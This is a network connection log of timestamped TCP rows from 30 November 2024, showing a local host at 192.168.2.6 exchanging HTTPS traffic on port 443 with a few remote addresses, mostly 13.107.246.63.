Nov 30, 2024 04:12:45.531332970 CET	443	49810	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:45.566070080 CET	443	49812	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:45.566152096 CET	443	49812	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:45.567475080 CET	49812	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:45.579719067 CET	49812	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:45.579736948 CET	443	49812	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:45.579771996 CET	49812	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:45.579777956 CET	443	49812	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:45.664135933 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.664185047 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.664320946 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.664593935 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.664608955 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.715152025 CET	443	49813	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.715785027 CET	49813	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.715816975 CET	443	49813	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.717279911 CET	49813	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.717284918 CET	443	49813	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.155956030 CET	443	49810	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:46.156172037 CET	443	49810	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:46.156236887 CET	49810	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:46.156346083 CET	49810	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:46.156364918 CET	443	49810	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:46.159204006 CET	443	49813	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.159287930 CET	443	49813	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.159334898 CET	49813	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.160665035 CET	49813	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.160682917 CET	443	49813	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.160693884 CET	49813	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.160701036 CET	443	49813	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.167553902 CET	49822	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.167599916 CET	443	49822	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.167694092 CET	49822	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.167910099 CET	49822	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.167923927 CET	443	49822	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.730221987 CET	443	49814	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.731774092 CET	49814	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.731790066 CET	443	49814	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.732363939 CET	49814	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.732367992 CET	443	49814	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.734286070 CET	443	49815	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.734678030 CET	49815	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.734714985 CET	443	49815	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.735138893 CET	49815	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.735145092 CET	443	49815	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.974726915 CET	443	49818	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.977974892 CET	49818	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.978003025 CET	443	49818	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:46.978440046 CET	49818	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:46.978445053 CET	443	49818	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.041177988 CET	443	49817	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.041915894 CET	49817	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.041940928 CET	443	49817	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.042876959 CET	49817	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.042881966 CET	443	49817	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.175713062 CET	443	49814	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.175779104 CET	443	49814	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.176134109 CET	49814	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.177715063 CET	49814	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.177728891 CET	443	49814	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.177762032 CET	49814	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.177767992 CET	443	49814	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.178107023 CET	443	49815	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.178177118 CET	443	49815	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.178332090 CET	49815	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.179188967 CET	49815	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.179188967 CET	49815	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.179207087 CET	443	49815	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.179218054 CET	443	49815	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.182434082 CET	49823	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.182437897 CET	49824	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.182465076 CET	443	49823	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.182470083 CET	443	49824	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.182542086 CET	49824	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.182545900 CET	49823	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.182712078 CET	49823	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.182723045 CET	443	49823	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.182810068 CET	49824	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.182826042 CET	443	49824	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.410588980 CET	443	49818	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.410660982 CET	443	49818	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.411473036 CET	49818	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.411988974 CET	49818	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.411989927 CET	49818	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.412015915 CET	443	49818	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.412025928 CET	443	49818	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.417315960 CET	49827	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.417354107 CET	443	49827	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.417660952 CET	49827	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.417660952 CET	49827	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.417689085 CET	443	49827	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.444905996 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.445738077 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.445765018 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.446863890 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.446960926 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.447351933 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.447422028 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.447504997 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.489161968 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.489173889 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.497987986 CET	443	49817	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.498064995 CET	443	49817	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.498147964 CET	49817	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.498528004 CET	49817	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.498542070 CET	443	49817	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.498569965 CET	49817	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.498574972 CET	443	49817	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.502831936 CET	49828	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.502870083 CET	443	49828	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.503496885 CET	49828	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.503698111 CET	49828	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.503707886 CET	443	49828	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.537273884 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.881535053 CET	443	49822	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.882345915 CET	49822	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.882369041 CET	443	49822	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.884406090 CET	49822	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.884413958 CET	443	49822	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.959168911 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.959193945 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.959202051 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.959227085 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.959243059 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.959253073 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.959255934 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.959280014 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:47.959306002 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:47.959381104 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.147892952 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.147907972 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.147943974 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.147949934 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.147985935 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.148005962 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.148169994 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.205801964 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.205822945 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.205890894 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.205929995 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.205976009 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.234965086 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.235048056 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.235069990 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.235165119 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.316732883 CET	443	49822	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.316807985 CET	443	49822	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.317151070 CET	49822	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.621108055 CET	49821	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.621140003 CET	443	49821	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.639154911 CET	49822	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.639164925 CET	443	49822	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.639187098 CET	49822	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.639190912 CET	443	49822	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.652278900 CET	49835	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.652323961 CET	443	49835	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.652374029 CET	49835	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.654239893 CET	49835	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.654253006 CET	443	49835	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.973345995 CET	443	49824	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.974062920 CET	49824	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.974092007 CET	443	49824	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:48.974679947 CET	49824	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:48.974688053 CET	443	49824	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.027014971 CET	443	49823	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.027514935 CET	49823	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.027530909 CET	443	49823	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.028034925 CET	49823	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.028039932 CET	443	49823	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.197084904 CET	443	49827	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.198375940 CET	49827	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.198410988 CET	443	49827	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.198919058 CET	49827	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.198925018 CET	443	49827	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.293199062 CET	443	49828	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.293782949 CET	49828	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.293803930 CET	443	49828	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.294292927 CET	49828	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.294297934 CET	443	49828	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.417526960 CET	443	49824	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.417601109 CET	443	49824	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.417669058 CET	49824	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.418021917 CET	49824	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.418042898 CET	443	49824	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.418057919 CET	49824	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.418064117 CET	443	49824	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.422986031 CET	49837	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.423022032 CET	443	49837	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.423207045 CET	49837	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.423521042 CET	49837	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.423531055 CET	443	49837	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.480257988 CET	443	49823	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.480325937 CET	443	49823	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.480389118 CET	49823	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.484215021 CET	49823	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.484230042 CET	443	49823	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.484245062 CET	49823	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.484250069 CET	443	49823	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.524966002 CET	49839	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.525007963 CET	443	49839	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.525260925 CET	49839	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.526823044 CET	49839	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.526844025 CET	443	49839	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.641705036 CET	443	49827	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.641782045 CET	443	49827	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.641833067 CET	49827	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.642066956 CET	49827	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.642086983 CET	443	49827	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.642101049 CET	49827	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.642107010 CET	443	49827	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.645781040 CET	49841	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.645829916 CET	443	49841	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.645926952 CET	49841	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.646111965 CET	49841	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.646125078 CET	443	49841	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.737684965 CET	443	49828	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.737767935 CET	443	49828	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.737854958 CET	49828	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.745527029 CET	49828	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.745557070 CET	443	49828	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.745572090 CET	49828	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.745579004 CET	443	49828	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.749486923 CET	49842	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.749528885 CET	443	49842	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:49.749638081 CET	49842	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.749845982 CET	49842	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:49.749860048 CET	443	49842	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:50.499469995 CET	443	49835	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:50.500883102 CET	49835	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:50.500900030 CET	443	49835	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:50.501668930 CET	49835	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:50.501673937 CET	443	49835	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:50.955415964 CET	443	49835	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:50.955487967 CET	443	49835	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:50.959223986 CET	49835	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.175263882 CET	443	49793	142.250.181.100	192.168.2.6
Nov 30, 2024 04:12:51.175343037 CET	443	49793	142.250.181.100	192.168.2.6
Nov 30, 2024 04:12:51.175468922 CET	49793	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:12:51.204842091 CET	443	49837	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.240968943 CET	49835	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.241034031 CET	443	49835	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.241086006 CET	49835	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.241105080 CET	443	49835	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.242017984 CET	49793	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:12:51.242044926 CET	443	49793	142.250.181.100	192.168.2.6
Nov 30, 2024 04:12:51.246438980 CET	49837	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.246452093 CET	443	49837	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.247081995 CET	49837	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.247086048 CET	443	49837	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.252984047 CET	49851	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.253021955 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.253077030 CET	49851	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.253809929 CET	49851	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.253827095 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.306569099 CET	443	49839	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.309472084 CET	49839	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.309494019 CET	443	49839	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.310198069 CET	49839	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.310204983 CET	443	49839	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.468475103 CET	443	49842	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.469239950 CET	49842	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.469330072 CET	443	49842	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.469855070 CET	49842	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.469868898 CET	443	49842	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.490647078 CET	443	49841	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.492132902 CET	49841	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.492152929 CET	443	49841	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.492801905 CET	49841	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.492806911 CET	443	49841	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.649075985 CET	443	49837	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.649158955 CET	443	49837	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.649449110 CET	49837	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.654226065 CET	49837	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.654226065 CET	49837	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.654248953 CET	443	49837	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.654268980 CET	443	49837	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.657654047 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.657706022 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.657851934 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.658014059 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.658029079 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.755508900 CET	443	49839	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.755530119 CET	443	49839	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.755589962 CET	443	49839	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.755608082 CET	49839	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.755666971 CET	49839	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.758455038 CET	49839	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.758455038 CET	49839	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.758479118 CET	443	49839	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.758518934 CET	443	49839	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.764005899 CET	49856	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.764039993 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.764122009 CET	49856	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.764522076 CET	49856	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.764534950 CET	443	49856	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.903013945 CET	443	49842	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.903084040 CET	443	49842	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.903214931 CET	49842	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.921236038 CET	49842	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.921252012 CET	443	49842	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.921350956 CET	49842	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.921355963 CET	443	49842	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.943761110 CET	443	49841	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.943800926 CET	443	49841	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.943849087 CET	49841	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.952883959 CET	49858	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.952923059 CET	443	49858	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.953071117 CET	49858	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.954125881 CET	49841	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.954138994 CET	443	49841	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.955534935 CET	49858	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.955545902 CET	443	49858	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.958700895 CET	49859	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.958749056 CET	443	49859	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:51.958816051 CET	49859	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.959621906 CET	49859	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:51.959635973 CET	443	49859	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.034099102 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.045963049 CET	49851	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.045999050 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.046478987 CET	49851	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.046489000 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.388545990 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.431010008 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.436839104 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.436849117 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.437375069 CET	49855	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.437381029 CET	443	49855	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.478226900 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.478249073 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.478302002 CET	49851	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.478326082 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.478776932 CET	49851	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.478792906 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.478801966 CET	49851	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.478988886 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.479016066 CET	443	49851	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:53.479063034 CET	49851	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.482259035 CET	49868	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:53.482287884 CET	443	49868	13.107.246.63	192.168.2.6
